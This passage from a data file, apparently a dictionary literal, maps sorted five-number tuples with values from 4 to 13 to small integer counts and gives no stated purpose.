(4, 6, 6, 7, 7): 5,
(4, 6, 6, 7, 8): 7,
(4, 6, 6, 7, 9): 19,
(4, 6, 6, 7, 10): 8,
(4, 6, 6, 7, 11): 12,
(4, 6, 6, 7, 12): 13,
(4, 6, 6, 7, 13): 6,
(4, 6, 6, 8, 8): 6,
(4, 6, 6, 8, 9): 23,
(4, 6, 6, 8, 10): 20,
(4, 6, 6, 8, 11): 11,
(4, 6, 6, 8, 12): 19,
(4, 6, 6, 8, 13): 7,
(4, 6, 6, 9, 9): 8,
(4, 6, 6, 9, 10): 18,
(4, 6, 6, 9, 11): 11,
(4, 6, 6, 9, 12): 23,
(4, 6, 6, 9, 13): 7,
(4, 6, 6, 10, 10): 3,
(4, 6, 6, 10, 11): 4,
(4, 6, 6, 10, 12): 27,
(4, 6, 6, 10, 13): 9,
(4, 6, 6, 11, 11): 2,
(4, 6, 6, 11, 12): 12,
(4, 6, 6, 11, 13): 11,
(4, 6, 6, 12, 12): 13,
(4, 6, 6, 12, 13): 11,
(4, 6, 6, 13, 13): 2,
(4, 6, 7, 7, 7): 4,
(4, 6, 7, 7, 8): 15,
(4, 6, 7, 7, 9): 6,
(4, 6, 7, 7, 10): 13,
(4, 6, 7, 7, 11): 5,
(4, 6, 7, 7, 12): 17,
(4, 6, 7, 7, 13): 6,
(4, 6, 7, 8, 8): 14,
(4, 6, 7, 8, 9): 11,
(4, 6, 7, 8, 10): 24,
(4, 6, 7, 8, 11): 19,
(4, 6, 7, 8, 12): 28,
(4, 6, 7, 8, 13): 15,
(4, 6, 7, 9, 9): 12,
(4, 6, 7, 9, 10): 14,
(4, 6, 7, 9, 11): 18,
(4, 6, 7, 9, 12): 26,
(4, 6, 7, 9, 13): 11,
(4, 6, 7, 10, 10): 12,
(4, 6, 7, 10, 11): 15,
(4, 6, 7, 10, 12): 15,
(4, 6, 7, 10, 13): 14,
(4, 6, 7, 11, 11): 6,
(4, 6, 7, 11, 12): 13,
(4, 6, 7, 11, 13): 17,
(4, 6, 7, 12, 12): 26,
(4, 6, 7, 12, 13): 11,
(4, 6, 7, 13, 13): 2,
(4, 6, 8, 8, 8): 5,
(4, 6, 8, 8, 9): 12,
(4, 6, 8, 8, 10): 15,
(4, 6, 8, 8, 11): 14,
(4, 6, 8, 8, 12): 17,
(4, 6, 8, 8, 13): 15,
(4, 6, 8, 9, 9): 15,
(4, 6, 8, 9, 10): 20,
(4, 6, 8, 9, 11): 12,
(4, 6, 8, 9, 12): 39,
(4, 6, 8, 9, 13): 6,
(4, 6, 8, 10, 10): 20,
(4, 6, 8, 10, 11): 22,
(4, 6, 8, 10, 12): 23,
(4, 6, 8, 10, 13): 17,
(4, 6, 8, 11, 11): 5,
(4, 6, 8, 11, 12): 25,
(4, 6, 8, 11, 13): 11,
(4, 6, 8, 12, 12): 31,
(4, 6, 8, 12, 13): 22,
(4, 6, 8, 13, 13): 6,
(4, 6, 9, 9, 9): 5,
(4, 6, 9, 9, 10): 14,
(4, 6, 9, 9, 11): 7,
(4, 6, 9, 9, 12): 18,
(4, 6, 9, 9, 13): 10,
(4, 6, 9, 10, 10): 7,
(4, 6, 9, 10, 11): 7,
(4, 6, 9, 10, 12): 31,
(4, 6, 9, 10, 13): 14,
(4, 6, 9, 11, 11): 6,
(4, 6, 9, 11, 12): 19,
(4, 6, 9, 11, 13): 16,
(4, 6, 9, 12, 12): 26,
(4, 6, 9, 12, 13): 12,
(4, 6, 9, 13, 13): 5,
(4, 6, 10, 10, 10): 3,
(4, 6, 10, 10, 11): 9,
(4, 6, 10, 10, 12): 20,
(4, 6, 10, 10, 13): 9,
(4, 6, 10, 11, 11): 12,
(4, 6, 10, 11, 12): 17,
(4, 6, 10, 11, 13): 8,
(4, 6, 10, 12, 12): 13,
(4, 6, 10, 12, 13): 14,
(4, 6, 10, 13, 13): 5,
(4, 6, 11, 11, 11): 3,
(4, 6, 11, 11, 12): 7,
(4, 6, 11, 11, 13): 3,
(4, 6, 11, 12, 12): 11,
(4, 6, 11, 12, 13): 6,
(4, 6, 11, 13, 13): 7,
(4, 6, 12, 12, 12): 11,
(4, 6, 12, 12, 13): 16,
(4, 6, 12, 13, 13): 6,
(4, 6, 13, 13, 13): 1,
(4, 7, 7, 7, 7): 2,
(4, 7, 7, 7, 8): 6,
(4, 7, 7, 7, 9): 8,
(4, 7, 7, 7, 10): 8,
(4, 7, 7, 7, 11): 6,
(4, 7, 7, 7, 12): 5,
(4, 7, 7, 7, 13): 3,
(4, 7, 7, 8, 8): 5,
(4, 7, 7, 8, 9): 12,
(4, 7, 7, 8, 10): 14,
(4, 7, 7, 8, 11): 12,
(4, 7, 7, 8, 12): 6,
(4, 7, 7, 8, 13): 5,
(4, 7, 7, 9, 9): 4,
(4, 7, 7, 9, 10): 8,
(4, 7, 7, 9, 11): 7,
(4, 7, 7, 9, 12): 13,
(4, 7, 7, 9, 13): 4,
(4, 7, 7, 10, 10): 4,
(4, 7, 7, 10, 11): 10,
(4, 7, 7, 10, 12): 16,
(4, 7, 7, 10, 13): 9,
(4, 7, 7, 11, 11): 3,
(4, 7, 7, 11, 12): 8,
(4, 7, 7, 11, 13): 11,
(4, 7, 7, 12, 12): 4,
(4, 7, 7, 12, 13): 8,
(4, 7, 7, 13, 13): 3,
(4, 7, 8, 8, 8): 4,
(4, 7, 8, 8, 9): 5,
(4, 7, 8, 8, 10): 16,
(4, 7, 8, 8, 11): 6,
(4, 7, 8, 8, 12): 11,
(4, 7, 8, 8, 13): 4,
(4, 7, 8, 9, 9): 10,
(4, 7, 8, 9, 10): 17,
(4, 7, 8, 9, 11): 15,
(4, 7, 8, 9, 12): 9,
(4, 7, 8, 9, 13): 14,
(4, 7, 8, 10, 10): 6,
(4, 7, 8, 10, 11): 8,
(4, 7, 8, 10, 12): 28,
(4, 7, 8, 10, 13): 13,
(4, 7, 8, 11, 11): 7,
(4, 7, 8, 11, 12): 9,
(4, 7, 8, 11, 13): 15,
(4, 7, 8, 12, 12): 6,
(4, 7, 8, 12, 13): 5,
(4, 7, 8, 13, 13): 6,
(4, 7, 9, 9, 9): 3,
(4, 7, 9, 9, 10): 6,
(4, 7, 9, 9, 11): 4,
(4, 7, 9, 9, 12): 9,
(4, 7, 9, 9, 13): 10,
(4, 7, 9, 10, 10): 6,
(4, 7, 9, 10, 11): 15,
(4, 7, 9, 10, 12): 13,
(4, 7, 9, 10, 13): 11,
(4, 7, 9, 11, 11): 9,
(4, 7, 9, 11, 12): 18,
(4, 7, 9, 11, 13): 2,
(4, 7, 9, 12, 12): 9,
(4, 7, 9, 12, 13): 16,
(4, 7, 9, 13, 13): 4,
(4, 7, 10, 10, 10): 5,
(4, 7, 10, 10, 11): 9,
(4, 7, 10, 10, 12): 6,
(4, 7, 10, 10, 13): 6,
(4, 7, 10, 11, 11): 4,
(4, 7, 10, 11, 12): 14,
(4, 7, 10, 11, 13): 12,
(4, 7, 10, 12, 12): 14,
(4, 7, 10, 12, 13): 14,
(4, 7, 10, 13, 13): 7,
(4, 7, 11, 11, 11): 3,
(4, 7, 11, 11, 12): 4,
(4, 7, 11, 11, 13): 2,
(4, 7, 11, 12, 12): 5,
(4, 7, 11, 12, 13): 12,
(4, 7, 11, 13, 13): 4,
(4, 7, 12, 12, 12): 3,
(4, 7, 12, 12, 13): 5,
(4, 7, 12, 13, 13): 5,
(4, 7, 13, 13, 13): 4,
(4, 8, 8, 8, 9): 2,
(4, 8, 8, 8, 10): 9,
(4, 8, 8, 8, 11): 7,
(4, 8, 8, 8, 12): 3,
(4, 8, 8, 8, 13): 4,
(4, 8, 8, 9, 9): 2,
(4, 8, 8, 9, 10): 7,
(4, 8, 8, 9, 11): 6,
(4, 8, 8, 9, 12): 8,
(4, 8, 8, 9, 13): 4,
(4, 8, 8, 10, 10): 5,
(4, 8, 8, 10, 11): 11,
(4, 8, 8, 10, 12): 19,
(4, 8, 8, 10, 13): 8,
(4, 8, 8, 11, 11): 3,
(4, 8, 8, 11, 12): 8,
(4, 8, 8, 11, 13): 3,
(4, 8, 8, 12, 12): 6,
(4, 8, 8, 12, 13): 4,
(4, 8, 8, 13, 13): 3,
(4, 8, 9, 9, 9): 1,
(4, 8, 9, 9, 10): 3,
(4, 8, 9, 9, 11): 7,
(4, 8, 9, 9, 12): 8,
(4, 8, 9, 9, 13): 1,
(4, 8, 9, 10, 10): 13,
(4, 8, 9, 10, 11): 14,
(4, 8, 9, 10, 12): 26,
(4, 8, 9, 10, 13): 10,
(4, 8, 9, 11, 11): 8,
(4, 8, 9, 11, 12): 5,
(4, 8, 9, 11, 13): 18,
(4, 8, 9, 12, 12): 12,
(4, 8, 9, 12, 13): 11,
(4, 8, 9, 13, 13): 5,
(4, 8, 10, 10, 10): 6,
(4, 8, 10, 10, 11): 8,
(4, 8, 10, 10, 12): 9,
(4, 8, 10, 10, 13): 7,
(4, 8, 10, 11, 11): 5,
(4, 8, 10, 11, 12): 17,
(4, 8, 10, 11, 13): 8,
(4, 8, 10, 12, 12): 16,
(4, 8, 10, 12, 13): 23,
(4, 8, 10, 13, 13): 5,
(4, 8, 11, 11, 11): 1,
(4, 8, 11, 11, 12): 6,
(4, 8, 11, 11, 13): 7,
(4, 8, 11, 12, 12): 1,
(4, 8, 11, 12, 13): 8,
(4, 8, 11, 13, 13): 6,
(4, 8, 12, 12, 12): 3,
(4, 8, 12, 12, 13): 1,
(4, 8, 12, 13, 13): 3,
(4, 9, 9, 9, 10): 3,
(4, 9, 9, 9, 11): 4,
(4, 9, 9, 9, 12): 9,
(4, 9, 9, 9, 13): 1,
(4, 9, 9, 10, 10): 3,
(4, 9, 9, 10, 11): 3,
(4, 9, 9, 10, 12): 8,
(4, 9, 9, 10, 13): 6,
(4, 9, 9, 11, 12): 10,
(4, 9, 9, 11, 13): 2,
(4, 9, 9, 12, 12): 5,
(4, 9, 9, 12, 13): 6,
(4, 9, 9, 13, 13): 2,
(4, 9, 10, 10, 10): 1,
(4, 9, 10, 10, 11): 6,
(4, 9, 10, 10, 12): 7,
(4, 9, 10, 10, 13): 3,
(4, 9, 10, 11, 11): 8,
(4, 9, 10, 11, 12): 6,
(4, 9, 10, 11, 13): 10,
(4, 9, 10, 12, 12): 13,
(4, 9, 10, 12, 13): 8,
(4, 9, 10, 13, 13): 8,
(4, 9, 11, 11, 11): 2,
(4, 9, 11, 11, 12): 6,
(4, 9, 11, 11, 13): 6,
(4, 9, 11, 12, 12): 6,
(4, 9, 11, 12, 13): 12,
(4, 9, 11, 13, 13): 2,
(4, 9, 12, 12, 12): 3,
(4, 9, 12, 12, 13): 4,
(4, 9, 12, 13, 13): 2,
(4, 9, 13, 13, 13): 2,
(4, 10, 10, 10, 10): 2,
(4, 10, 10, 10, 11): 2,
(4, 10, 10, 10, 12): 6,
(4, 10, 10, 10, 13): 2,
(4, 10, 10, 11, 12): 9,
(4, 10, 10, 11, 13): 6,
(4, 10, 10, 12, 12): 2,
(4, 10, 10, 12, 13): 7,
(4, 10, 10, 13, 13): 3,
(4, 10, 11, 11, 11): 2,
(4, 10, 11, 11, 12): 6,
(4, 10, 11, 11, 13): 7,
(4, 10, 11, 12, 12): 8,
(4, 10, 11, 12, 13): 10,
(4, 10, 11, 13, 13): 3,
(4, 10, 12, 12, 12): 8,
(4, 10, 12, 12, 13): 6,
(4, 10, 12, 13, 13): 8,
(4, 10, 13, 13, 13): 3,
(4, 11, 11, 11, 11): 2,
(4, 11, 11, 11, 12): 1,
(4, 11, 11, 11, 13): 3,
(4, 11, 11, 12, 12): 1,
(4, 11, 11, 12, 13): 8,
(4, 11, 11, 13, 13): 1,
(4, 11, 12, 12, 12): 3,
(4, 11, 12, 12, 13): 6,
(4, 11, 12, 13, 13): 6,
(4, 11, 13, 13, 13): 4,
(4, 12, 12, 12, 12): 2,
(4, 12, 12, 12, 13): 1,
(4, 12, 12, 13, 13): 3,
(4, 12, 13, 13, 13): 4,
(4, 13, 13, 13, 13): 1,
(5, 5, 5, 5, 6): 1,
(5, 5, 5, 5, 7): 2,
(5, 5, 5, 5, 8): 2,
(5, 5, 5, 5, 12): 2,
(5, 5, 5, 5, 13): 1,
(5, 5, 5, 6, 6): 4,
(5, 5, 5, 6, 7): 5,
(5, 5, 5, 6, 8): 5,
(5, 5, 5, 6, 9): 4,
(5, 5, 5, 6, 10): 1,
(5, 5, 5, 6, 11): 4,
(5, 5, 5, 6, 12): 4,
(5, 5, 5, 6, 13): 6,
(5, 5, 5, 7, 7): 2,
(5, 5, 5, 7, 8): 4,
(5, 5, 5, 7, 9): 3,
(5, 5, 5, 7, 10): 5,
(5, 5, 5, 7, 11): 3,
(5, 5, 5, 7, 12): 6,
(5, 5, 5, 7, 13): 2,
(5, 5, 5, 8, 8): 1,
(5, 5, 5, 8, 9): 4,
(5, 5, 5, 8, 10): 6,
(5, 5, 5, 8, 11): 3,
(5, 5, 5, 8, 12): 3,
(5, 5, 5, 8, 13): 2,
(5, 5, 5, 9, 10): 7,
(5, 5, 5, 9, 12): 2,
(5, 5, 5, 9, 13): 4,
(5, 5, 5, 10, 11): 4,
(5, 5, 5, 10, 12): 2,
(5, 5, 5, 10, 13): 3,
(5, 5, 5, 11, 11): 1,
(5, 5, 5, 11, 12): 2,
(5, 5, 5, 11, 13): 1,
(5, 5, 5, 12, 12): 1,
(5, 5, 5, 12, 13): 1,
(5, 5, 5, 13, 13): 1,
(5, 5, 6, 6, 6): 2,
(5, 5, 6, 6, 7): 9,
(5, 5, 6, 6, 8): 2,
(5, 5, 6, 6, 9): 3,
(5, 5, 6, 6, 10): 3,
(5, 5, 6, 6, 11): 4,
(5, 5, 6, 6, 12): 11,
(5, 5, 6, 6, 13): 3,
(5, 5, 6, 7, 7): 3,
(5, 5, 6, 7, 8): 9,
(5, 5, 6, 7, 9): 9,
(5, 5, 6, 7, 10): 8,
(5, 5, 6, 7, 11): 10,
(5, 5, 6, 7, 12): 14,
(5, 5, 6, 7, 13): 9,
(5, 5, 6, 8, 8): 4,
(5, 5, 6, 8, 9): 10,
(5, 5, 6, 8, 10): 14,
(5, 5, 6, 8, 11): 7,
(5, 5, 6, 8, 12): 6,
(5, 5, 6, 8, 13): 5,
(5, 5, 6, 9, 9): 6,
(5, 5, 6, 9, 10): 7,
(5, 5, 6, 9, 11): 3,
(5, 5, 6, 9, 12): 7,
(5, 5, 6, 9, 13): 10,
(5, 5, 6, 10, 10): 8,
(5, 5, 6, 10, 11): 1,
(5, 5, 6, 10, 12): 8,
(5, 5, 6, 10, 13): 8,
(5, 5, 6, 11, 11): 2,
(5, 5, 6, 11, 12): 8,
(5, 5, 6, 11, 13): 7,
(5, 5, 6, 12, 12): 4,
(5, 5, 6, 12, 13): 8,
(5, 5, 6, 13, 13): 1,
(5, 5, 7, 7, 7): 3,
(5, 5, 7, 7, 8): 3,
(5, 5, 7, 7, 9): 4,
(5, 5, 7, 7, 10): 8,
(5, 5, 7, 7, 11): 3,
(5, 5, 7, 7, 12): 5,
(5, 5, 7, 7, 13): 3,
(5, 5, 7, 8, 8): 4,
(5, 5, 7, 8, 9): 8,
(5, 5, 7, 8, 10): 8,
(5, 5, 7, 8, 11): 5,
(5, 5, 7, 8, 12): 10,
(5, 5, 7, 8, 13): 6,
(5, 5, 7, 9, 9): 4,
(5, 5, 7, 9, 10): 10,
(5, 5, 7, 9, 11): 8,
(5, 5, 7, 9, 12): 3,
(5, 5, 7, 9, 13): 4,
(5, 5, 7, 10, 10): 2,
(5, 5, 7, 10, 11): 6,
(5, 5, 7, 10, 12): 9,
(5, 5, 7, 10, 13): 4,
(5, 5, 7, 11, 11): 1,
(5, 5, 7, 11, 12): 3,
(5, 5, 7, 11, 13): 6,
(5, 5, 7, 12, 12): 7,
(5, 5, 7, 12, 13): 4,
(5, 5, 7, 13, 13): 2,
(5, 5, 8, 8, 9): 1,
(5, 5, 8, 8, 10): 5,
(5, 5, 8, 8, 11): 3,
(5, 5, 8, 8, 12): 6,
(5, 5, 8, 8, 13): 6,
(5, 5, 8, 9, 9): 3,
(5, 5, 8, 9, 10): 8,
(5, 5, 8, 9, 11): 5,
(5, 5, 8, 9, 12): 6,
(5, 5, 8, 9, 13): 2,
(5, 5, 8, 10, 10): 5,
(5, 5, 8, 10, 11): 6,
(5, 5, 8, 10, 12): 9,
(5, 5, 8, 10, 13): 7,
(5, 5, 8, 11, 11): 4,
(5, 5, 8, 11, 12): 4,
(5, 5, 8, 11, 13): 6,
(5, 5, 8, 12, 12): 1,
(5, 5, 8, 12, 13): 5,
(5, 5, 9, 9, 10): 1,
(5, 5, 9, 9, 11): 4,
(5, 5, 9, 9, 12): 7,
(5, 5, 9, 9, 13): 2,
(5, 5, 9, 10, 10): 3,
(5, 5, 9, 10, 11): 7,
(5, 5, 9, 10, 12): 9,
(5, 5, 9, 10, 13): 5,
(5, 5, 9, 11, 11): 3,
(5, 5, 9, 11, 12): 5,
(5, 5, 9, 11, 13): 4,
(5, 5, 9, 12, 12): 2,
(5, 5, 9, 12, 13): 1,
(5, 5, 9, 13, 13): 2,
(5, 5, 10, 10, 10): 1,
(5, 5, 10, 10, 11): 3,
(5, 5, 10, 10, 12): 8,
(5, 5, 10, 10, 13): 3,
(5, 5, 10, 11, 11): 2,
(5, 5, 10, 11, 12): 7,
(5, 5, 10, 11, 13): 5,
(5, 5, 10, 12, 12): 3,
(5, 5, 10, 12, 13): 6,
(5, 5, 10, 13, 13): 3,
(5, 5, 11, 11, 12): 2,
(5, 5, 11, 11, 13): 2,
(5, 5, 11, 12, 12): 3,
(5, 5, 11, 12, 13): 4,
(5, 5, 11, 13, 13): 1,
(5, 5, 12, 12, 12): 2,
(5, 5, 12, 12, 13): 4,
(5, 5, 12, 13, 13): 2,
(5, 6, 6, 6, 6): 4,
(5, 6, 6, 6, 7): 12,
(5, 6, 6, 6, 8): 6,
(5, 6, 6, 6, 9): 5,
(5, 6, 6, 6, 10): 4,
(5, 6, 6, 6, 11): 4,
(5, 6, 6, 6, 12): 7,
(5, 6, 6, 6, 13): 4,
(5, 6, 6, 7, 7): 13,
(5, 6, 6, 7, 8): 9,
(5, 6, 6, 7, 9): 8,
(5, 6, 6, 7, 10): 11,
(5, 6, 6, 7, 11): 5,
(5, 6, 6, 7, 12): 14,
(5, 6, 6, 7, 13): 7,
(5, 6, 6, 8, 8): 3,
(5, 6, 6, 8, 9): 16,
(5, 6, 6, 8, 10): 17,
(5, 6, 6, 8, 11): 8,
(5, 6, 6, 8, 12): 11,
(5, 6, 6, 8, 13): 7,
(5, 6, 6, 9, 9): 8,
(5, 6, 6, 9, 10): 11,
(5, 6, 6, 9, 11): 5,
(5, 6, 6, 9, 12): 17,
(5, 6, 6, 9, 13): 4,
(5, 6, 6, 10, 10): 4,
(5, 6, 6, 10, 11): 4,
(5, 6, 6, 10, 12): 16,
(5, 6, 6, 10, 13): 9,
(5, 6, 6, 11, 11): 3,
(5, 6, 6, 11, 12): 12,
(5, 6, 6, 11, 13): 8,
(5, 6, 6, 12, 12): 10,
(5, 6, 6, 12, 13): 8,
(5, 6, 6, 13, 13): 5,
(5, 6, 7, 7, 7): 9,
(5, 6, 7, 7, 8): 11,
(5, 6, 7, 7, 9): 6,
(5, 6, 7, 7, 10): 6,
(5, 6, 7, 7, 11): 11,
(5, 6, 7, 7, 12): 10,
(5, 6, 7, 7, 13): 9,
(5, 6, 7, 8, 8): 11,
(5, 6, 7, 8, 9): 16,
(5, 6, 7, 8, 10): 9,
(5, 6, 7, 8, 11): 12,
(5, 6, 7, 8, 12): 14,
(5, 6, 7, 8, 13): 10,
(5, 6, 7, 9, 9): 17,
(5, 6, 7, 9, 10): 21,
(5, 6, 7, 9, 11): 9,
(5, 6, 7, 9, 12): 19,
(5, 6, 7, 9, 13): 7,
(5, 6, 7, 10, 10): 9,
(5, 6, 7, 10, 11): 11,
(5, 6, 7, 10, 12): 13,
(5, 6, 7, 10, 13): 14,
(5, 6, 7, 11, 11): 6,
(5, 6, 7, 11, 12): 17,
(5, 6, 7, 11, 13): 15,
(5, 6, 7, 12, 12): 15,
(5, 6, 7, 12, 13): 18,
(5, 6, 7, 13, 13): 7,
(5, 6, 8, 8, 8): 7,
(5, 6, 8, 8, 9): 5,
(5, 6, 8, 8, 10): 10,
(5, 6, 8, 8, 11): 9,
(5, 6, 8, 8, 12): 14,
(5, 6, 8, 8, 13): 5,
(5, 6, 8, 9, 9): 9,
(5, 6, 8, 9, 10): 19,
(5, 6, 8, 9, 11): 20,
(5, 6, 8, 9, 12): 17,
(5, 6, 8, 9, 13): 15,
(5, 6, 8, 10, 10): 12,
(5, 6, 8, 10, 11): 12,
(5, 6, 8, 10, 12): 15,
(5, 6, 8, 10, 13): 11,
(5, 6, 8, 11, 11): 6,
(5, 6, 8, 11, 12): 10,
(5, 6, 8, 11, 13): 7,
(5, 6, 8, 12, 12): 19,
(5, 6, 8, 12, 13): 10,
(5, 6, 8, 13, 13): 6,
(5, 6, 9, 9, 9): 12,
(5, 6, 9, 9, 10): 6,
(5, 6, 9, 9, 11): 9,
(5, 6, 9, 9, 12): 11,
(5, 6, 9, 9, 13): 8,
(5, 6, 9, 10, 10): 8,
(5, 6, 9, 10, 11): 14,
(5, 6, 9, 10, 12): 31,
(5, 6, 9, 10, 13): 12,
(5, 6, 9, 11, 11): 4,
(5, 6, 9, 11, 12): 15,
(5, 6, 9, 11, 13): 8,
(5, 6, 9, 12, 12): 8,
(5, 6, 9, 12, 13): 12,
(5, 6, 9, 13, 13): 4,
(5, 6, 10, 10, 10): 5,
(5, 6, 10, 10, 11): 9,
(5, 6, 10, 10, 12): 10,
(5, 6, 10, 10, 13): 10,
(5, 6, 10, 11, 11): 4,
(5, 6, 10, 11, 12): 12,
(5, 6, 10, 11, 13): 10,
(5, 6, 10, 12, 12): 12,
(5, 6, 10, 12, 13): 8,
(5, 6, 10, 13, 13): 1,
(5, 6, 11, 11, 11): 4,
(5, 6, 11, 11, 12): 6,
(5, 6, 11, 11, 13): 7,
(5, 6, 11, 12, 12): 10,
(5, 6, 11, 12, 13): 13,
(5, 6, 11, 13, 13): 6,
(5, 6, 12, 12, 12): 7,
(5, 6, 12, 12, 13): 12,
(5, 6, 12, 13, 13): 6,
(5, 6, 13, 13, 13): 5,
(5, 7, 7, 7, 7): 2,
(5, 7, 7, 7, 8): 6,
(5, 7, 7, 7, 9): 6,
(5, 7, 7, 7, 10): 8,
(5, 7, 7, 7, 11): 3,
(5, 7, 7, 7, 12): 8,
(5, 7, 7, 7, 13): 3,
(5, 7, 7, 8, 8): 1,
(5, 7, 7, 8, 9): 9,
(5, 7, 7, 8, 10): 14,
(5, 7, 7, 8, 11): 6,
(5, 7, 7, 8, 12): 11,
(5, 7, 7, 8, 13): 5,
(5, 7, 7, 9, 9): 4,
(5, 7, 7, 9, 10): 6,
(5, 7, 7, 9, 11): 8,
(5, 7, 7, 9, 12): 5,
(5, 7, 7, 9, 13): 5,
(5, 7, 7, 10, 10): 3,
(5, 7, 7, 10, 11): 5,
(5, 7, 7, 10, 12): 8,
(5, 7, 7, 10, 13): 8,
(5, 7, 7, 11, 11): 3,
(5, 7, 7, 11, 12): 6,
(5, 7, 7, 11, 13): 7,
(5, 7, 7, 12, 12): 6,
(5, 7, 7, 12, 13): 5,
(5, 7, 7, 13, 13): 1,
(5, 7, 8, 8, 8): 3,
(5, 7, 8, 8, 9): 11,
(5, 7, 8, 8, 10): 9,
(5, 7, 8, 8, 11): 7,
(5, 7, 8, 8, 12): 4,
(5, 7, 8, 8, 13): 8,
(5, 7, 8, 9, 9): 5,
(5, 7, 8, 9, 10): 11,
(5, 7, 8, 9, 11): 5,
(5, 7, 8, 9, 12): 17,
(5, 7, 8, 9, 13): 10,
(5, 7, 8, 10, 10): 9,
(5, 7, 8, 10, 11): 10,
(5, 7, 8, 10, 12): 23,
(5, 7, 8, 10, 13): 13,
(5, 7, 8, 11, 11): 5,
(5, 7, 8, 11, 12): 11,
(5, 7, 8, 11, 13): 6,
(5, 7, 8, 12, 12): 5,
(5, 7, 8, 12, 13): 8,
(5, 7, 8, 13, 13): 3,
(5, 7, 9, 9, 9): 1,
(5, 7, 9, 9, 10): 6,
(5, 7, 9, 9, 11): 6,
(5, 7, 9, 9, 12): 15,
(5, 7, 9, 9, 13): 5,
(5, 7, 9, 10, 10): 10,
(5, 7, 9, 10, 11): 15,
(5, 7, 9, 10, 12): 14,
(5, 7, 9, 10, 13): 10,
(5, 7, 9, 11, 11): 3,
(5, 7, 9, 11, 12): 4,
(5, 7, 9, 11, 13): 11,
(5, 7, 9, 12, 12): 7,
(5, 7, 9, 12, 13): 9,
(5, 7, 9, 13, 13): 3,
(5, 7, 10, 10, 10): 6,
(5, 7, 10, 10, 11): 7,
(5, 7, 10, 10, 12): 8,
(5, 7, 10, 10, 13): 7,
(5, 7, 10, 11, 11): 8,
(5, 7, 10, 11, 12): 12,
(5, 7, 10, 11, 13): 6,
(5, 7, 10, 12, 12): 4,
(5, 7, 10, 12, 13): 10,
(5, 7, 10, 13, 13): 7,
(5, 7, 11, 11, 11): 3,
(5, 7, 11, 11, 12): 9,
(5, 7, 11, 12, 12): 7,
(5, 7, 11, 12, 13): 9,
(5, 7, 11, 13, 13): 2,
(5, 7, 12, 12, 12): 5,
(5, 7, 12, 12, 13): 6,
(5, 7, 12, 13, 13): 4,
(5, 7, 13, 13, 13): 1,
(5, 8, 8, 8, 8): 1,
(5, 8, 8, 8, 9): 2,
(5, 8, 8, 8, 10): 4,
(5, 8, 8, 8, 11): 2,
(5, 8, 8, 8, 12): 2,
(5, 8, 8, 8, 13): 2,
(5, 8, 8, 9, 9): 3,
(5, 8, 8, 9, 10): 9,
(5, 8, 8, 9, 11): 6,
(5, 8, 8, 9, 12): 4,
(5, 8, 8, 9, 13): 7,
(5, 8, 8, 10, 10): 5,
(5, 8, 8, 10, 11): 4,
(5, 8, 8, 10, 12): 14,
(5, 8, 8, 10, 13): 7,
(5, 8, 8, 11, 11): 2,
(5, 8, 8, 11, 12): 3,
(5, 8, 8, 11, 13): 10,
(5, 8, 8, 12, 12): 1,
(5, 8, 8, 12, 13): 1,
(5, 8, 9, 9, 9): 2,
(5, 8, 9, 9, 10): 2,
(5, 8, 9, 9, 11): 7,
(5, 8, 9, 9, 12): 8,
(5, 8, 9, 9, 13): 4,
(5, 8, 9, 10, 10): 6,
(5, 8, 9, 10, 11): 13,
(5, 8, 9, 10, 12): 5,
(5, 8, 9, 10, 13): 6,
(5, 8, 9, 11, 11): 2,
(5, 8, 9, 11, 12): 13,
(5, 8, 9, 11, 13): 7,
(5, 8, 9, 12, 12): 12,
(5, 8, 9, 12, 13): 9,
(5, 8, 9, 13, 13): 3,
(5, 8, 10, 10, 10): 5,
(5, 8, 10, 10, 11): 7,
(5, 8, 10, 10, 12): 10,
(5, 8, 10, 10, 13): 4,
(5, 8, 10, 11, 11): 6,
(5, 8, 10, 11, 12): 12,
(5, 8, 10, 11, 13): 4,
(5, 8, 10, 12, 12): 14,
(5, 8, 10, 12, 13): 15,
(5, 8, 10, 13, 13): 10,
(5, 8, 11, 11, 11): 4,
(5, 8, 11, 11, 12): 4,
(5, 8, 11, 11, 13): 2,
(5, 8, 11, 12, 12): 5,
(5, 8, 11, 12, 13): 12,
(5, 8, 11, 13, 13): 5,
(5, 8, 12, 12, 12): 2,
(5, 8, 12, 12, 13): 1,
(5, 8, 12, 13, 13): 3,
(5, 8, 13, 13, 13): 3,
(5, 9, 9, 9, 10): 2,
(5, 9, 9, 9, 12): 3,
(5, 9, 9, 10, 10): 1,
(5, 9, 9, 10, 11): 3,
(5, 9, 9, 10, 12): 9,
(5, 9, 9, 10, 13): 5,
(5, 9, 9, 11, 11): 3,
(5, 9, 9, 11, 12): 9,
(5, 9, 9, 11, 13): 2,
(5, 9, 9, 12, 12): 6,
(5, 9, 9, 12, 13): 8,
(5, 9, 9, 13, 13): 1,
(5, 9, 10, 10, 10): 1,
(5, 9, 10, 10, 11): 2,
(5, 9, 10, 10, 12): 7,
(5, 9, 10, 10, 13): 10,
(5, 9, 10, 11, 11): 5,
(5, 9, 10, 11, 12): 12,
(5, 9, 10, 11, 13): 8,
(5, 9, 10, 12, 12): 10,
(5, 9, 10, 12, 13): 10,
(5, 9, 10, 13, 13): 4,
(5, 9, 11, 11, 11): 1,
(5, 9, 11, 11, 12): 5,
(5, 9, 11, 11, 13): 5,
(5, 9, 11, 12, 12): 5,
(5, 9, 11, 12, 13): 3,
(5, 9, 11, 13, 13): 2,
(5, 9, 12, 12, 12): 1,
(5, 9, 12, 12, 13): 3,
(5, 9, 12, 13, 13): 2,
(5, 10, 10, 10, 10): 1,
(5, 10, 10, 10, 11): 4,
(5, 10, 10, 10, 12): 3,
(5, 10, 10, 10, 13): 3,
(5, 10, 10, 11, 11): 2,
(5, 10, 10, 11, 12): 3,
(5, 10, 10, 11, 13): 5,
(5, 10, 10, 12, 12): 2,
(5, 10, 10, 12, 13): 4,
(5, 10, 10, 13, 13): 2,
(5, 10, 11, 11, 12): 2,
(5, 10, 11, 11, 13): 7,
(5, 10, 11, 12, 12): 1,
(5, 10, 11, 12, 13): 9,
(5, 10, 11, 13, 13): 3,
(5, 10, 12, 12, 12): 3,
(5, 10, 12, 12, 13): 4,
(5, 10, 12, 13, 13): 5,
(5, 10, 13, 13, 13): 2,
(5, 11, 11, 11, 12): 1,
(5, 11, 11, 11, 13): 2,
(5, 11, 11, 12, 12): 3,
(5, 11, 11, 12, 13): 4,
(5, 11, 11, 13, 13): 1,
(5, 11, 12, 12, 12): 2,
(5, 11, 12, 12, 13): 3,
(5, 11, 12, 13, 13): 9,
(5, 11, 13, 13, 13): 2,
(5, 12, 12, 12, 13): 1,
(5, 12, 12, 13, 13): 1,
